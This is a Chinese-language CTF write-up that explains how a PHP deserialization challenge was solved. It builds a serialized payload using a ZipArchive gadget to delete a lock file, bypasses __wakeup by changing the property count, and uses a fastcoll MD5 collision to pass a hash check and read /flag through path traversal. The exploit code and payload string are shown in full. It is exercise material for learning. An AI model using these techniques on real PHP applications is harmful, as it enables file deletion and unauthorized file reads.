一血价值100金币的题目

    1. <?php
    2. error_reporting(0);
    3. ini_set("display_errors","Off");
    4. class Jesen {
    5. public $filename;
    6. public $content;
    7. public $me;
    8. function __wakeup(){
    9. $this->me = new Ctf();
    10. }
    11. function __destruct() {
    12. $this->me->open($this->filename,$this->content);
    13. }
    14. }
    15. class Ctf {
    16. function __toString() {
    17. return "die";
    18. }
    19. function open($filename, $content){
    20. if(!file_get_contents("./sandbox/lock.lock")){
    21. echo file_get_contents(substr($_POST['b'],0,30));
    22. die();
    23. }else{
    24. file_put_contents("./sandbox/".md5($filename.time()),$content);
    25. die("or you can guess the final filename?");
    26. }
    27. }
    28. }
    29. if(!isset($_POST['a'])){
    30. highlight_file(__FILE__);
    31. die();
    32. }else{
    33. if(($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a']))){
    34. unserialize($_POST['c']);
    35. }

    首先看到有反序列化函数,还是一道考察反序列化漏洞的题目。
    Jesen类中,__wakeup函数创建Ctf对象,接着调用其中的open函数。
    Ctf类中,open函数会通过判断sandbox目录下是否有lock.lock文件,来进入不同的分支。直接看下面那个分支,

    1. file_put_contents("./sandbox/".md5($filename.time()),$content);

    $content是我们可以控制的,$filename也是可以控制的,但是time()值是不可控的,总不能直接猜文件名,所以正确的路子应该是想办法删掉sandbox下的lock.lock文件,通过file_get_contents函数来读取到flag。

    Jesen类当中,wakeup实例化一个对象Ctf,并赋值给me变量,destruct函数调用me->open()函数,也就是Ctf类的open函数。但是我们知道,__wakeup函数是可以绕过的,这么一来,$me的值也可以控制了,可以把他赋值为任意一个对象,并调用其open方法,这么一来,删除lock.lock就有可能了,剩下来的就是想办法找到符合条件的对象。

    当然最后还是没找到,看了大佬的wp,才知道还有个ZipArchive可以用。

    1. public ZipArchive::open ( string $filename , int $flags = 0 ) : bool|int

    当$flags为ZipArchive::OVERWRITE时,就可以达到删除文件的目的。
    条件充足,接下来构造payload:

    1. <?php
    2. class Jesen {
    3. public $filename='./sandbox/lock.lock';
    4. public $content=8;
    5. public $me;
    6. }
    7. $a = new Jesen();
    8. $zip = new ZipArchive();
    9. $a->me = $zip;
    10. $b=serialize($a);
    11. echo $b;

    得到Jesen的序列化字符串,

    1. O:5:"Jesen":3:{s:8:"filename";s:19:"./sandbox/lock.lock";s:7:"content";i:8;s:2:"me";O:10:"ZipArchive":5:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}}

    因为还需要绕过__wakeup函数,所以把O:5:"Jesen":3:改为O:5:"Jesen":4:
    接着使用fastcoll来创建两个md5值相同的文件,并且内容为flag的路径

    1. flag.txt:
    2. /../../../../../../../..//flag
    3. fastcoll.exe -p flag.txt

    将生成的两个文件进行url编码,使用burpsuit提交,在去访问/sandbox/lock.lock,就会发现返回404。
    接着再把序列化字符串改回来,就可以拿到flag了。